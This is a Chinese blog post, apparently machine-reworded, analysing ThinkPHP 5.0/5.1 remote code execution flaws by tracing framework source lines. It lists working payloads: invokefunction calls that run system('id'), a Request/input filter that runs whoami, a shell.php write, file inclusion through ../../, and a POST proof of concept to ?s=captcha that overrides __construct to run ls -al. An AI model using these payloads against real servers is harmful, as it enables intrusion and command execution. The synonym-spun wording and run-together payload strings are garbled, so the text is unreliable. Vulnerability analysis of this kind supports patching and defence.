首页 » 网站推广 » php1034技巧_Thinkphp5代码实行进修

php1034技巧_Thinkphp5代码实行进修

访客 2024-11-21 0

扫一扫用手机浏览

文章目录 [+]

漏洞剖析thinkphp/library/think/Cache.php:126

先跟踪一下Cache类的set方法

thinkphp/library/think/Cache.php:63

跟踪一下init方法,这里的self::$handler默认值是File,为think\cache\driver\File 类实例

php1034技巧_Thinkphp5代码实行进修

thinkphp/library/think/Cache.php:36

跟进connect方法

php1034技巧_Thinkphp5代码实行进修
(图片来自网络侵删)

先打印一下options内容

array (size=4) 'type' => string 'File' (length=4) 'path' => string '/Applications/MAMP/htdocs/runtime/cache/' (length=40) 'prefix' => string '' (length=0) 'expire' => int 0

type为file,先赋值一个$name,class为\think\cache\driver\File

thinkphp/library/think/cache/driver/File.php:137

跟踪一下File类的set方法

thinkphp/library/think/cache/driver/File.php:67

跟进文件名天生方法,程序先得到键名的 md5 值,然后将该 md5 值的前 2 个字符作为缓存子目录,后 30 字符作为缓存文件名。

$data变量为序列化的值,没有进行过滤直接将内容写进了缓存,前面有//注释符,可以通过注入换行符绕过该限定。

未开启逼迫路由导致rce影响版本

5.0.7<=ThinkPHP<=5.0.22

payload

5.1.x :

?s=index/\think\Request/input&filter[]=system&data=pwd?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

5.0.x :

?s=index/think\config/get&name=database.username # 获取配置信息?s=index/\think\Lang/load&file=../../test.jpg # 包含任意文件?s=index/\think\Config/load&file=../../t.php # 包含任意.php文件?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id环境搭建

测试payload

index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

漏洞剖析

默认情形下安装的 ThinkPHP 是没有开启逼迫路由选项,而且默认开启路由兼容模式

?s=模块/掌握器/方法 所有用户参数都会经由 Request 类的 input 方法处理,该方法会调用 filterValue 方法,而 filterValue 方法中利用了 calluserfunc,考试测验利用这个方法。
访问如下链接

?s=index/\think\Request/input&filter[]=system&data=whoami

thinkphp/library/think/route/dispatch/Module.php:70

于获取掌握器点打断点

程序会跳到thinkphp/library/think/App.php的run方法,在路由检测地打个断点,重新要求

thinkphp/library/think/App.php:583

于routeCheck方法对路由进行了检测,

thinkphp/library/think/route/dispatch/Url.php:23

出来的dispatch为index|\think\Request|input,将\更换成了|,然后进入init方法

thinkphp/library/think/App.php:402

经由路由检测之后的dispatch为:

thinkphp/library/think/App.php:431

thinkphp/library/think/route/Dispatch.php:168

跟进Dispatch类的run方法

thinkphp/library/think/route/dispatch/Module.php:84

实行exec函数,跟进函数

利用反射机制,调用类的方法

thinkphp/library/think/Container.php:391

thinkphp/library/think/Request.php:1358

进入input(),$this->filterValue()处理

thinkphp/library/think/Request.php:1437

跟进后实行call_user_func(),实现rce

method任意调用方法导致rce版本

5.0.0<=ThinkPHP5<=5.0.23

环境搭建

测试payload

漏洞剖析thinkphp/library/think/Request.php:524

$method 来自可控的 $_POST 数组,而且在获取之后没有进行任何检讨,直接把它作为 Request 类的方法进行调用,同时,该方法传入的参数是可控数据 $_POST,可以随意调用 Request 类的部分方法。

搜索varmethod,值为method

thinkphp/library/think/Request.php:135

查看request类的__construct方法,可以覆盖类属性,那么我们可以通过覆盖Request类的属性.

thinkphp/library/think/App.php:126

如果开启了debug,则调用$request->param()方法,

thinkphp/library/think/Request.php:637

跟进param方法,创造调用了$this->method

thinkphp/library/think/Request.php:862

跟踪到server方法,把$this->server 传入了 input 方法,这个this->server 的值,我们可以通过先前 Request 类的 __construct 方法来覆盖赋值,filter 的值部分来自 this->filter ,又是可以通过先前 Request 类的 __construct 方法来覆盖赋值

thinkphp/library/think/Request.php:1034

进入input方法的filterValue,进入call_user_func回调,造成RCE漏洞的产生

如果没有开启debugthinkphp/library/think/App.php:445

在exec方法中,当$dispatch['type']即是method或者controller时候,也会调用param()方法

thinkphp/library/think/Route.php:918

dispatch['type'] 来源于 parseRule 方法中的 result 变量,$route 变量取决于程序中定义的路由地址办法

只假如存在的路由就可以使dispatch['type']成立,而在 ThinkPHP5 完全版中,定义了验证码类的路由地址?s=captcha,默认这个方法就能使$dispatch=method从而进入Request::instance()->param(),使条件成立。

poc

POST /index.php?s=captcha HTTP/1.1_method=__construct&filter[]=system&method=get&get[]=ls+-al

标签:

相关文章

phphash缓存技巧_Redis 哈希Hash最全介绍

小编Redis的哈希(Hash)是一种非常有用的数据构造,它许可用户将多个字段和值组合成一个单独的数据项。每个哈希可以包含多个字段...

网站推广 2024-12-12 阅读0 评论0

php数据直方图技巧_拉勾网上Java vs PHP

step1:首先剖析一下要抓取的页面信息进行翻页操作的时候,post要求的参数紧张几个参数是city,pn,kd分别对应关键词城市...

网站推广 2024-12-12 阅读0 评论0